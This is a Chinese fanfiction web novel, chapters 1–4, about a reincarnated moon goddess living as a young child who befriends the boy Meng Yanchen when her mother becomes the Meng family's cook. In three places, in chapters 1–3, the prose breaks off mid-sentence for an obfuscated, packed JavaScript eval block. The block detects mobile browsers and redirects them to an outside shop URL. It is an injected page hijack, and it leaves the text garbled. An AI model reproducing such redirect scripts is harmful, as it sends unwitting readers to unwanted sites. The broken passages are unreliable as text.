《[综影视]皎皎明月,时时顾我》 1. 孟宴臣(一) 晚上七点,孟家餐厅灯火通明,造价不菲的水晶吊灯,珠光闪烁,与付闻樱脖颈上的宝石项链交相辉映,泛着森冷的光。 一家三口在长长的西式餐桌边落座。 付闻樱提醒儿子:“饭前一口汤。” 年幼的孟宴臣乖乖点头,从白瓷碗里舀了一小勺子养胃汤,刚凑近嘴边就动作一滞,他小心地觑了付闻樱一眼,缓缓喝掉了。 付闻樱很快就明白了儿子反常的原因。 今天这道开胃汤,味道微腥发苦,差了点火候。 孟家家教森严,信奉食不言寝不语的祖训,几人安静用餐,一丝儿多余的声音都没有,筷子落在餐盘里也是悄无声息。 吃到七分饱,佣人过来收拾餐桌,孟宴臣跟着父母移步客厅,听到付闻樱淡淡道:“把老张叫来。” 老张是宅子里的管家,大大小小的事物一把抓,待了十几年的老人了,连付闻樱这种精益求精,眼睛里揉不得沙子的人,都曾赞誉过他几句。 “还没找到合适的主厨?” 老张一看付闻樱的脸色,就晓得自己工作出了纰漏,“没呢,孙大厨老家出事,人走得急,也没来得及交接,这几天都是叫得私房菜。” 其实他不说,家里几人也都吃出来了,喝惯了孙大厨煲的汤,其他人的手艺一闻就知道不对味。 孟宴臣年纪虽小,性子却沉稳内敛,见老张为难,就道:“妈妈,今天的汤还可以,习惯了就好。” 付闻樱:“那怎么行,孙大厨的汤都是根据营养师的建议,按照我们家人体质,专门搭配的食材,里面还放了中药,要坚持喝才有效。” 她让老张想想办法,或是高价从孙大厨手里买食谱,或是再聘一位孙大厨的高足,总之例汤不能断。 孟宴臣觉得这些都是小事,开胃汤喝不喝喝什么,对他来说都无所谓,但母亲如此郑重其事,又是一心一意为他身体考虑,他就只好抿唇沉默。 孟家规矩,七点用晚餐,七点半结束,餐后半小时休息娱乐时间。 八点一到,孟宴臣就起身对沙发上的父母道:“我去写作业。” 孟怀瑾点头:“去吧。” 儿子一离开,孟怀瑾就不赞同地对妻子道:“儿子面前,别这么斤斤计较,凑合几天行了。” 付闻樱:“这关系到孩子的身体健康,怎么能凑合?”她想到什么,又问:“对了,许市|长的事现在怎么样了?” 孟怀瑾:“已经尘埃落定,牵涉太多,我也不好随意插手。” 瘦死的骆驼比马大,许市|长虽然已经过世,但他遗留下来的人脉资源、门生故旧,也是一股不容小觑的力量。 夫妻两人说不上多恩爱,不过彼此知根知底,付闻樱听出孟怀瑾没有寻到合适契机,“听说他家里还有一个女儿,现在父母离世,亲人也不愿意抚养,已经送福利院了。” 她惋惜摇头:“福利院那种地方……” 孟怀瑾也正有此意:“找个时间去看看吧,毕竟是好友家的孩子,别被人欺负了。”他说着,往楼上看了一眼。 儿子的性格越来越内向寡言,有个差不多年龄的小朋友陪着,也是好事。 孟宴臣现在正上小学,本来课程任务不算太重,只是父母提倡精英式教育,报了许多课外兴趣班,累加起来,时间就被塞得满满当当了。 …… 春天花花幼儿园,五岁的顾白月坐在一群小萝卜头中间,粉嫩嫩的脸颊宛如一只水蜜桃,奶白色肌肤上带着细细的绒毛,Q弹可爱。 手工老师笑眯眯地问:“同学们完成得都很棒哦,那么,大家要不要把自己的作品送给同学或爸爸妈妈做礼物呢?” “要!” 小萝卜们都很自信,觉得自己用橡皮泥捏出来的小猫小狗,简直天下第一好。 手工老师的话刚落音,就有好几个小朋友将橡皮泥小狗塞给顾白月。 顾白月弯着眸子:“谢谢哦。” 很快就到放学时间,其他小朋友都被家长接走了,只留顾白月一个人坐在教室里,不哭不闹地看识字本。 手工老师:“皎皎,妈妈今天也没空接你吗?” 顾白月是个很乖巧的孩子,跟老师说话时会从蘑菇型的小凳子上站起来,黑葡萄似的大眼睛一闪一闪亮晶晶。 “妈妈说今天要加班,会晚到半个小时。” 手工老师叹了一口气,顾家不久前的变故她也有所耳闻,懂得顾妈妈一个女人带着孩子,孤儿寡母有多不容易。 她不是不食人间烟火的公主,对顾妈妈选择让女儿独自等在幼儿园,自己去工作的事,说不出来任何指责的话。 若非生活所迫,谁愿意让孩子遭罪啊。 只是看着眼前玉雪可爱的小姑娘,手工老师心头发酸,揉了揉顾白月的头发:“好孩子,老师跟你一起等。” 左等右等,顾白月的妈妈季如兰终于来了,她跑得一头汗,神情疲乏又狼狈,先是对手工老师反复道谢,然后才牵着顾白月的手出幼儿园。 听到季如兰呼哧呼哧喘气,还有些气息不稳,顾白月踮起脚尖,心疼得用小手绢给妈妈擦汗,“妈妈别着急,皎皎不饿。” 女儿贴心懂事,季如兰又是欣慰,又是心酸,才五岁大小而已,本该在她怀里恣意撒娇耍赖。 是她这个当妈的不称职。 “这段时间辛苦皎皎了,妈妈给你保证,等妈妈这个月工资下来,给我们皎皎买芭比娃娃好不好?” “妈妈辛苦,皎皎不辛苦。” 顾白月是真没觉得有什么辛苦。 倘若她当真是一个五岁的小孩子,自然有任性的权利,一旦觉得被大人冷落,就可以开启眼泪攻势。 然而,实际上顾白月并不是。 说起来季如兰可能不相信,顾白月是她的女儿,但又不仅仅是她的女儿。 简单来说,顾白月前世本是天地间第一株月桂,在盘古开天辟地时,受其血脉滋养,化为女神,掌管月宫一应事务。 后来,有一凡间女子奔月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9419424|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而来,自名为嫦娥。 顾白月一个人冷清惯了,冷不丁见了陌生人,并不是很适应,再加上那女子满脸愁容,经常悲哭,顾白月掐指细细一算,自己该到红尘中历劫,干脆避了出来。 顾白月来到这世界已经五年了,前四年还好,父亲顾应军生龙活虎,靠着给某大人物做贴身保镖,每月工资不低,生活条件也算小康。 只是,天有不测风云人有旦夕祸福,顾应军的雇主不知怎么糟了祸,夫妻两人双双惨死,顾应军也在赶去救护雇主的路上,出了意外。 顾应军被送到医院时还有一口气,季如兰将全部身家砸进去,倾家荡产地抢救他,最后却落得个人财两空。 季如兰经过最初的绝望崩溃后,不得不平静地接受现实,做了几年家庭主妇的她,现在四处找工作做兼职,承担起养家的重担。 …… 顾白月怕季如兰每天奔波,身体被拖垮,正想劝她将自己放在寄宿制幼儿园,事情却突然迎来了转机。 周六早上,季如兰没有急匆匆地跑出去做小时工,反而一边哼着歌儿,一边给顾白月煲汤,脸上挂着许久不见的甜美笑容。 顾白月噙着小牙刷,从卫生间里探出头:“妈妈,我们中彩票了吗?” 季如兰将褒了许久的汤盛出来放好,蹲下|身摸了摸女儿小脸。 皎皎最近瘦了许多,脸上都没多少肉了。 还好,最苦最难的时候已经熬过去了。 季如兰:“乖女儿,妈妈找到工作喽。” 顾白月眼睛一亮:“妈妈好厉害哦。” “那是。”季如兰有点得意,看顾白月已经刷完牙,就取了毛巾给她擦脸。 “妈妈,是什么工作啊?”顾白月怕季如兰太单纯,被别人蒙骗,她以前被顾应军保护得太好了。 季如兰当然不会那么傻,她认真同女儿说明:“皎皎,还记得教妈妈做药膳的孙伯伯吗?” 顾白月点头:“记得,皎皎最喜欢孙伯伯煲的汤了。” 提起这个季如兰忍不住庆幸,“多亏了妈妈之前专门跟你孙伯伯学过,还隔三差五给皎皎做药膳,现在你孙伯伯老家有事,从雇主家里辞职了。听你孙伯伯说雇主喝惯了他做的开胃汤,不想换口味,你孙伯伯又回不来,就推荐妈妈过去试试。” 能长期雇佣孙伯伯在家做事的,一定不是普通人,顾白月奶声奶气地鼓励:“那妈妈加油哦。” 季如兰原本想故技重施,将皎皎托付给邻居杨奶奶看顾,谁知杨奶奶今天去医院体检了,不在家。 眼看再耽误下去就要迟到,顾白月牵着季如兰的手,轻轻摇一摇:“妈妈,皎皎可以跟你一起去吗?” 季如兰一开始不打算带顾白月,怕给雇主添麻烦,留下负面影响,听孙大厨说这家人出手阔绰,工资开得很高,季如兰挺想得到这个机会。 不过,话又说回来了,今天只是试工,还没有正式入职,再临时找人照顾皎皎,她又不放心,干脆一咬牙带着顾白月一起去了。 2. 孟宴臣(二) 季如兰骑着自己的小电动车,顾白月乖乖坐在后座,小手紧紧抱着妈妈腰肢,很快就到了孟家。 眼前的豪宅奢华大气,贵不可言,没有见识的母女两人齐刷刷发出一声惊叹。 孟家人没有想象中那么趾高气昂,管家看到季如兰带着个孩子,还笑着摸出一块糖给顾白月。 在征得季如兰同意后,管家将顾白月安置在花园角落里的椅子上,这儿幽静又冷清,除了园丁很少有人过来。 季如兰歉意地对顾白月道:“皎皎等一会儿,妈妈会尽快出来的,好吗?” 顾白月一点不生气,笑着道:“妈妈快去吧,皎皎会乖乖的。” 两人离开后,顾白月饶有兴致地来到花坛边,对着一朵向日葵看了半晌,还数了数上面的黑籽籽。 大概是受身体影响,顾白月现下变幼稚了许多,平常在其他人面前,还想端着九州第一女神的颜面,一旦脱离大家视线,就忍不住放飞自我。 顾白月自己就是一株月桂,心底自然很爱花,见墙角那一小片玫瑰有些枯萎,地上落着或粉白或嫣红的花瓣,就小心翼翼地捡了一圈,兜在小裙摆里。 捡了满满一兜,累得都有些气喘吁吁了,顾白月眼尖地瞥到一个小秋千椅,扎在丛丛凌霄花和葛藤之后,十分隐蔽。 秋千上积着一层落叶,像是许久没人坐的样子。 顾白月有点心痒痒,左右看了看没有人,就走过去细心地将枯黄落叶扫落,开心地坐在上面,小脚点着地面,一荡一荡玩得开心,连怀里的落花又飘落出来都没注意到。 玩着玩着,顾白月忽然对上一双难掩讶异的眼睛。 一个大约八|九岁的男孩,规规矩矩地穿着合体的三件式西装套服,连领结和方巾都打理得一丝不苟,整个人看起来斯斯文文,俊秀安静的样子。 只是,他这么不言不语,悄无声息地站在花丛阴影里,好像一只轻巧的猫儿。 许是那边光线黯淡,顾白月看着他,总觉得这小孩儿身上带着丝丝阴郁。 顾白月不再使劲儿,秋千摆动得弧度越来越小,慢慢静止下来,她有些局促地从秋千上滑落下来。 堂堂九州第一女神,竟然被一个小屁孩逮到偷玩秋千,多少有些尴尬。 我吓到她了吗? 孟宴臣恍惚想到,或许他应该继续藏在花丛里,这样是不是就能看到刚才那种天真无邪,无忧无虑的笑。 尽管今天是周末,孟宴臣也没有多少休息时间,按照母亲付闻樱制定的计划表,他今天应该上一节英语课,一节马术课,一节书法课,还要做四套卷子。 对孟宴臣来说,母亲付闻樱女士,有时候简直像极了脖子里这根她亲手挑选的领结,紧紧地死死地箍在那里,勒得人毫无喘息之机。 不过,今天是例外。 父母说要带他出去拜访朋友,顺利的话,他以后会多一个妹妹。 妹妹啊…… 孟宴臣默念着这个有些陌生的词汇,不知道是该为家里即将多一位妹妹开心,还是该为妹妹接下来注定被掌控的人生担心。 外出拜访的时间定在上午十点,母亲说在此之前要先完成对外聘厨师的面试。 应聘者准时到来,是一位美丽的年轻女士。 母亲亲自去厨房测试那位季女士,孟宴臣短暂地获得了一会儿空闲。 昨天晚上没睡好,孟宴臣有些失神地漫步在庭院里,不知不觉走到花园最偏僻的角落,那里藏着他小小的“叛逆”。 为什么会失眠呢? 因为孟宴臣做了一整夜的噩梦,他梦到自己变成了一条鱼,一条即将被海水溺死的鱼。 真是奇怪,鱼怎么会被溺死。 但孟宴臣又真真切切地感受到了窒息。 他是失去氧气脱水许久的鱼,濒临死亡,身体里的每一寸细胞都渴求着新鲜空气。 能够大口大口,毫无顾忌地呼吸,该是一件多么幸福的事啊。 孟宴臣用手背贴了一下额头,他觉得自己可能生病了,不然为什么会有这么多不切实际的幻想,还抱着说不清道不明的诡异直觉,奢望在今天遇到救赎。 他以为心底那一丝侥幸,是生活重压下的错觉。 现实却给了孟宴臣一份惊喜,他在花丛深处看到一个精灵般的小女孩。 早在踏入这个角落的第一秒,孟宴臣就意识到有外人闯入,他的视线不受控制地被对方吸引。 小女孩明眸皓齿,眼睛星子般璀璨,头发乌压压得浓密得如同一道瀑布,带着些微卷曲的弧度,蓬蓬松松地覆在雪白肌肤上。 她穿着鹅黄色亚麻连衣裙,裙摆点缀着可爱的蕾丝边和卡通图案。衣服的材质并不名贵,在孟宴臣眼里甚至还有些廉价,但洗得格外干净,频繁得洗涤恰到好处地冲淡了原本过于饱和的颜色。 倘或那是明媚艳丽,光鲜无比的原色,于此时此刻的孟宴臣来说,反而会灼伤他眼球,让他不敢靠近。 顾白月看小男孩不说话,猜想他在生气,有些不好意思地说道:“这秋千是你的吗?对不起哦小哥哥,皎皎不该坐你的秋千。” 她一说话,孟宴臣几乎立刻就感受到,对方跟他是两个世界的人,她身上有勃勃生机,有春天一般的活力,似林下清风,吹散了孟宴臣胸口的闷窒感。 下意识地,孟宴臣觉得她说话的声音软软糯糯,很好听。 他礼貌微笑:“你叫皎皎?” 顾白月:“是啊,我叫顾白月,小名皎皎。小哥哥你呢?” 孟宴臣礼仪周全:“我是孟宴臣。” 顾白月微微歪头,水汪汪的眼睛看向他:“你姓孟,那你是这里的主人喽?小哥哥,你家好大啊,你每天起床不会迷路吗?” 真是童言无忌。 孟宴臣忍不住发笑:“不会迷路。” 顾白月:“真的吗?我不信。” 哼,想她堂堂九州第一女神,天地鸿蒙之初第一株月桂,稍微走远一点就会迷路,凭什么别人不会啊,不服气。 虽然不知道对方为什么在这个问题上那么执着,不过孟宴臣瞧她粉扑扑的玉雪可爱,像极了以前过年时偷偷堆得小雪人,心底暗想:这应该就是妹妹的样子吧? 对待妹妹当然要宽容一些啊。 孟宴臣仔细解释:“真的不会迷路,好像我从小方向感就比较强,无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9419425|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在家里还是在外面,都没有迷过路。” 顾白月委委屈屈对手指:“我怀疑你在内涵我。” 孟宴臣又被萌到了。 他怕顾白月不理自己,有些慌乱,在此之前孟宴臣认识的玩伴都是韩廷、肖亦骁这样的男孩子,还从来没有同小女孩打交道的经验。 “这个秋千给你玩好不好?” 顾白月:“这个秋千真是你的啊。” 孟宴臣抚摸秋千两端的绳索,难得露出这个年纪的孩子身上应该有的顽皮,“架子是我求花匠叔叔帮我搭的,不过,绳子和木板是我自己偷偷做的。” 顾白月不解:“为什么要偷偷做?” “因为……”孟宴臣脸上的笑容有所收敛,“妈妈不允许,她说荡秋千无聊又无趣,一不小心还会受伤,玩这些太浪费时间。” 顾白月:可你说起秋千来,脸上的笑容遮都遮不住啊。 她坐在木凳上,双脚套在小猪佩奇图案的袜子和红棕色小皮鞋里,欢快地在空中划来划去,像是一双桨。 孟宴臣一边帮顾白月推秋千,一边细心地护着她后背,怕人跌落下来。 秋千越荡越高。 “怕不怕?” 顾白月:“不怕!” 秋千荡到高点时,隐约能窥见一丝外面的世界,一片蓊蓊郁郁的绿化树,三两户影影绰绰的独栋别墅,还有自由自在,追逐打闹的小朋友。 彼时顾白月尚不明白,斯文矜贵如孟宴臣,为什么会喜欢荡秋千这个与他身份格格不入的小游戏,直到很多年后,顾白月识破孟宴臣步步逼近时的伪装,了解这个俊美男人藏在心底最深处的偏执,才懂得人终将会被年少不可得之物囚困一生。 但那时,一切都已经晚了,顾白月再也逃不开了…… “少爷呢?” “刚才好像往花园里去了。” “嗳,快跟我一起去找。” “怎么?” “先生太太要出发去城北的福利院,喊少爷一起呢。” 孟宴臣听到外面的动静,正要走出去,忽然看到先前在厨房应聘厨师一职的季女士,脚步匆匆地走了过来。 “皎皎。” 季如兰来到女儿面前,上上下下看了她几眼,脸上笑盈盈地说道:“告诉你一个好消息,妈妈通过面试了哦。” 顾白月很捧场:“妈妈真棒。” 季如兰有些兴奋:“孟家,这可是孟家啊,宝贝儿,快亲妈妈一口,让妈妈知道这不是做梦。” 顾白月从善如流,吧嗒在季如兰脸颊印上一吻。 听到这里,孟宴臣已经知道顾白月的身份,其实他方才就已经猜到,皎皎并不是爸爸妈妈打算收养的妹妹。 也好…… 顾白月被季如兰牵着,临走时礼貌地同孟宴臣告别:“小哥哥,再见。” 孟宴臣来到父母身边时,听到付闻樱说:“季女士的手艺还不错,能有孙大厨七八分真传,而且她自己也有孩子,主攻的就是适合孩子的药膳,就她吧。” 家里的事一向都是付闻樱操持,孟怀瑾自然没有意见。 孟宴臣不知怎么的,无声抿唇一笑。 3. 孟宴臣(三) 邻居杨奶奶年纪太大,最近犯了高血压,需要住院观察一段时间。 季如兰听说后,晚上特意煲了一锅汤,带着顾白月去探望。 第二天是周日,季如兰要按照约定去孟家上工,每天中午待三个小时,晚上待三个小时,负责准备不同的汤羹。 当初季如兰跟顾应军结婚时,曾跟家里闹过一些矛盾,顾应军的父母又远在乡下老家,这一时半会儿还真找不到合适的人看顾孩子。 这一点,顾白月早就想好了,“妈妈,小哥哥家门口有一个漂亮的亭子,皎皎在那里,一边写作业,一边等妈妈下班好不好?” 孟家所在的别墅区安保条件极好,公共区域到处都有监控,孟家附近的亭子季如兰也留意到了。 说是亭子其实也不仅仅是亭子,周围有草坪花坛蔷薇走廊,还有一些明显给小孩子准备的游戏器材。 季如兰叹了一口气:“也只能这样了。” 只是这么一来,皎皎要一个人等她很久,季如兰心底不是滋味,总归是她这当妈的亏欠孩子。 母女俩出发时,顾白月特意背上自己的斜跨小包,季如兰往里面塞了顾白月最喜欢的漫画书、童话故事,还有几包零食一瓶奶。 到了地方,顾白月欢快地从电瓶车上跳下来,拍着小胸脯对季如兰保证:“妈妈放心,皎皎会照顾好自己的!” 季如兰笑着点顾白月的额头:“傻孩子。”她没办法彻底放心,特意去旁边的保安亭送了几个水果,请人家帮忙留意点儿。 “妈妈快去吧。” 顾白月冲她挥了挥手,自己雄赳赳气昂昂地去了小亭子。 虽说孟家人制定的工作守则不算太苛刻,但季如兰为了养家糊口,不敢有一丝懈怠,再加上今天是她第一天正式上班,理应尽快熟悉工作环境,就不敢多耽搁,快速去了孟家主楼的厨房。 短短一日,孟家就发生了一些令人意想不到的变化。 管家带领季如兰办入职手续,发了个人专用的厨师帽和围裙,在后厨同其他人介绍了季如兰。 等到几人相互交谈了一会儿,简单熟悉过后,管家说:“有件事大家注意一下,先生和太太昨天去福利院收养了一位小姑娘,以后就是咱们家里的小姐了。太太的意思,小姐有点营养不良,需要好好补一补,所以今天的午餐会比平常丰盛一些。” 大家都说没问题,季如兰更是摩拳擦掌,誓要给雇主留下一个好印象。 然而,季如兰不知道,即便她准备得再好,结果依然不尽如人意。 许沁吃不下任何东西。 她没有胃口。 许沁今年已经六岁了,六岁的小姑娘其实已经懂得很多事情了,最起码她清楚记得,自己亲生父母,一个是威风赫赫的市|长,一个是享誉国内的雕塑家。 以前父母健在时,她无论走到哪里都是人人追捧的小公主,父亲脸上总是带着春风化雨般的笑容,母亲独具艺术家的气质,敏感忧郁又多愁善感,能很轻易地捕捉到她情绪的变化。 可惜,梦一般美好的生活很快被打破了。 许沁从高高的云端跌落下来,她还没有彻底明白大人之间的利益纠葛,就已经见识到太多翻脸无情,冷嘲讥诮的丑陋面孔。 有人用冷冰冰的目光打量她。 那视线尖锐得像一把刀,瞬间将骄傲的许沁击碎。 “晦气……早知道当初就不巴结了……全白费了……” 许沁曾经穿着全球限量的手工公主裙,在自家宽阔的院子里踢皮球,笑声又脆又亮。但当她像皮球一样被人踢来踢去,最终被毫不留情地一脚踹进福利院时,许沁噙着眼泪想,她以后再也不踢皮球了。 永远不。 福利院的生活一点也不好,那些小朋友又脏又臭,总是大喊大叫吵吵嚷嚷,有时竟然会因为一件别人捐赠的二手连衣裙大打出手。 许沁有些害怕,她也说不清楚自己在怕什么,只是直觉认为这些小朋友跟她不是一个国的。 直到一对衣着光鲜亮丽,言行举止处处妥帖的夫妇,带着他们同样光鲜亮丽,西装革履的儿子,在院长等一队人的欢迎中,缓缓走了过来。 在他们身上,许沁又嗅到了那种同类人的气息,以前同爸爸妈妈谈笑风生的,全都是这种体面人,他们身上的衣服连一个多余的褶皱都不会有。 许沁记得,妈妈管这种叫做“上流人士”。 孟怀瑾是爸爸的战友,逢年过节时许沁见过他几面,所以当孟怀瑾说要收养她时,许沁在短暂的沉默过后,缓缓伸出手。 但是许沁没想到这一切都是要付出代价的,她刚刚在孟家光可鉴人的地板上站定,付闻樱就说:“沁沁,你手里抱的是什么?” 许沁下意识将双手往身后一藏。 付闻樱已经看到了,她是一位非常爱干净,甚至有些洁癖的女士,有些不高兴地说道:“这玩偶太脏了,上面的细菌会让你生病,把它丢了吧。” 灰扑扑的兔子玩偶被丢进垃圾桶里。 许沁的眼睛一下子红了,要哭不哭地咬着嘴唇。 孟宴臣看着眼前的小女孩,她穿着白色蕾丝裙,脸上带着一些煤灰,孤零零地缩在角落里,让他一瞬间联想到了曾经被罚站的自己。 爸爸说她是妹妹,以后要在这个家里,同他一起生活。 孟宴臣听过许沁家里的变故,觉得她有点可怜。等到妈妈离开后,孟宴臣趁没有人注意,去瞧了瞧垃圾桶。 垃圾已经被佣人倒掉了。 家门口有用来集中回收的垃圾箱。 孟宴臣抱着试一试的态度走出来,却在对面小亭子里看到一抹熟悉的身影。 顾白月戴着小鸭子太阳帽,乌黑浓密的头发绑成两根麻花辫,末端还系着俏皮的草莓皮筋,正趴在石桌上津津有味地看着什么东西。 顾白月在看童话故事,正看到《海的女儿》这一篇。 “唉……” 她拖着脸颊,人小鬼大地深深叹气。 突然有人说话:“皎皎是有不认识的字吗?可以问哥哥哦。” 顾白月抬头一看:“小哥哥?是你啊,皎皎没有不认识的字,皎皎是不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9419426|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢这个故事。” 这个年岁的孟宴臣,还没有完全蜕变成日后沉稳内敛,安静冷清的模样,尚且保留着仅存的一些少年稚气,笑起来时颊边有着浅浅的梨涡,说起话来温和又熨帖。 “已经认识这么多字了吗?那皎皎好厉害哦。” 季如兰是南方水乡哺育出来的灵秀女子,结婚后才随丈夫顾应军在北方定居,但乡音难改,她说话时重不自觉带着南方语调,顾白月受她影响,再加上小孩子舌头软,发音软软糯糯,奶呼呼的可爱。 小姑娘被夸了,洋洋得意地昂着下巴,有些臭屁地说:“一般般啦。” 孟宴臣被她笑得手痒痒,特别想捏一捏小姑娘白皮大包似的脸,又觉得这样不礼貌,掐着虎口克制住了:“你怎么一个人在这里?” 顾白月:“等妈妈下班。” 可是现在距离季女士下班,还有将近两个小时。 孟宴臣觉得自己无权评价季女士行为的对错,但他不想让小姑娘可怜巴巴地一个人等在这里,“皎皎等我一下,哥哥找回东西后,带你去家里作客,好不好?” 顾白月:“你找什么?” “一个兔子玩偶。” 就算是高档别墅区里的垃圾回收箱,味道也是不好闻的,孟宴臣和顾白月甫一靠近,就被一股刺鼻气味熏得直皱眉头。 还好顾白月的猫耳朵斜挎包里有小手绢,今天要在外面待得时间长,季如兰给顾白月放了好多东西,单单小手绢就有三四条。 “喏,给你一条。” 两人用小手绢捂着鼻子,顾白月蹬蹬蹬跑进绿化林边,捡了两根枯树枝,“用这个翻,不然被碎玻璃扎到手,可疼了。” 孟宴臣刮目相看:“你怎么懂这么多?” 顾白月语出惊人:“因为我要做垃圾王!” 孟宴臣:“……??” 顾白月:“不懂了吧,我听杨奶奶说捡垃圾可挣钱了,以前妈妈去发传单,拜托杨奶奶带我玩儿,我们俩用一上午的时间捡垃圾,挣了二十八块钱呢!” 怕孟宴臣没听清楚,顾白月还再次强调了一遍:“听清楚了,是足足二十八块钱哦!” 孟宴臣恍惚以为自己听到的是二十八万,因为顾白月气势太足了,她还夸口说要带着妈妈季女士一块捡垃圾哩。 季女士:……使不得使不得。 在两人的齐心协力下,兔子玩偶终于找到了,孟宴臣将它偷偷拿给了许沁。 许沁很高兴,小小欢呼着一把抢进怀里,摩挲了半天才抬头,吞吞吐吐道:“……谢谢,哥哥。” 看到名义上的妹妹开心,孟宴臣本来也该开心的,但他实在太聪明,有了对比和参照后,轻而易举地听出许沁这声“哥哥”到底有多勉强。 “不用客气。” 许沁打了个喷嚏,目光小心翼翼地觑向孟宴臣。 他身上什么味道? 孟宴臣倒是心情很平静,他很快就从许沁房间退出来,看到付闻樱正在楼下泡茶,走过去认认真真地同她申请:“妈妈,我可以邀请妹妹来家里一起玩吗?” 4. 孟宴臣(四) “这就是你说的妹妹?” 付闻樱难以置信地看向孟宴臣。 十分钟前孟宴臣跑到大门外,手牵手带进来一个年幼的小姑娘,口口声声称呼她妹妹,要邀请小姑娘作客。 付闻樱瞥了一眼楼上,有些不赞许地对孟宴臣道:“你的妹妹是许沁。” 感受到母亲施加的压力,孟宴臣有些紧张,攥着顾白月的手不自觉收拢。 顾白月瞅了瞅孟宴臣,礼貌地同付闻樱打招呼:“阿姨你好,阿姨我可以来你家作客吗?” 付闻樱:……哪有站在人家家里,才想起来问主人允许不允许的。 不过,付闻樱是体面人,做不出难为奶娃娃的事,她穿着香芋紫色的套装,举止端庄地坐在沙发上,居高临下地审视顾白月。 平心而论,付闻樱确实强势不好相处,习惯了在商场厮杀的女精英,回到家忍不住继续发号施令。对于大人来说还好,换成是小孩子,大概率会在她冷冰冰拒人于千里之外的态度里,产生畏惧感。 好在,我们顾白月可不是一般的小孩子呢。 她坦坦荡荡地立在那里,任由付闻樱打量。 两人视线相对时,顾白月还甜甜一笑,带着婴儿肥的脸颊微微鼓起,漂亮剔透的大眼睛那么认真地望向付闻樱,奶声奶气地祈求道:“可以吗阿姨,皎皎会乖乖的,绝对不给大人添乱哦。” 付闻樱没有急着回答,只是淡淡颔首,心底自动生成了对顾白月的点评:是个齐全孩子,虽然看起来出身不高,但该有的礼仪教养一概不少,想来家风应该差不到哪去。 顾白月以为付闻樱不想答应。 孟宴臣几乎有些祈求地轻声道:“妈妈……” 顾白月可不想让她刚认识两天的漂亮小哥哥为难,她丢开孟宴臣的手,试探着靠近付闻樱:“阿姨,皎皎只需要这么小这么小一点地方,跟小哥哥一起做游戏,这样也不可以吗?” 她一边说,一边用软乎乎粉嫩嫩的小手指,比划出指甲盖大小的一小点空间。 付闻樱心说:你们俩就算是再乖巧,也不可能只占用蚂蚁窝这么大点地方。 不过,这小女孩看起来干干净净,玉雪玲珑,一举一动都稚气可人,逗得付闻樱有点想笑。 付闻樱抿唇,她生着一张巴掌大的瓜子脸,下巴尖尖,整个人精瘦干练,显得线条有些冷锐而尖刻,莫名就给人一种不好接近的感觉。 但这一笑缓和了身上冷冽气息。 顾白月可聪明了,看出付闻樱有所软化,从小包包里掏出一只纸青蛙,“谢谢阿姨,这是皎皎送给阿姨的礼物。” 是那种最普通的纸张折出来的小青蛙,它甚至连手工课专用的彩纸都不是,青蛙的头部和背部都被涂上了牛油果绿,唯有腹部那里露出白乎乎的底色,充当青蛙的小肚皮。 这纸青蛙折得粗糙简陋,身形还有些歪歪扭扭,但当它鼓着肚子,圆滚滚地站在顾白月掌心时,又拥有让人难以忽视的笨拙的可爱。 瞧见顾白月托举着小青蛙送给付闻樱,孟宴臣心口一跳,没有人比他更清楚母亲的洁癖有多严重了。 他怕顾白月被付闻樱斥责,上前去握小姑娘的手:“皎皎,我妈妈不喜……” “谢谢你的礼物。” 付闻樱竟然面色平静地捏起纸青蛙,含笑看了看。 孟宴臣一怔,他万万想不到,付闻樱会接受这令人发笑的小礼物。 …… 季如兰将食材料理好,按照步骤,依次加入到水中熬煮,接下来就是小火慢炖了。 趁着这个空档,季如兰请厨房里正在做甜点的师傅帮忙照看一下火,自己脱了围裙,出来找女儿。 谁知季如兰刚走到客厅,就听到一道熟悉的童音。 “皎皎,你怎么在这里?” 季如兰见顾白月正跟孟宴臣母子两人说话,还以为孩子一个人在外面待得无聊,冲进来找她了,连忙致歉道:“太太不好意思,孩子太小不懂事,给您添麻烦了。” 付闻樱:“原来她是你的女儿?” 孟家从来不雇佣来历不明的人,季如兰面试时也清楚地说明了个人状况,其中就包括她丈夫前不久意外过世,现在孤身一人带着女儿生活。 付闻樱很快就猜到了来龙去脉。 付闻樱看人一向很准,季如兰老实本分,做人做事都很有分寸感,付闻樱之所以选择聘请她,除了出于煲汤手艺方面的考量,还有一点就是季如兰虽然长得很美,心思却很单纯,宁愿出来吃苦受累,也没想着凭借姣好的外形条件走捷径。 当然,季如兰收拾得干净利落,看起来清清爽爽的,也是一大加分项。 付闻樱说话很斯文,哪怕是对自己家里的佣人,也不会自诩高人一等,她语调带着三分客气:“孩子没有犯错,她是宴臣的小客人。” 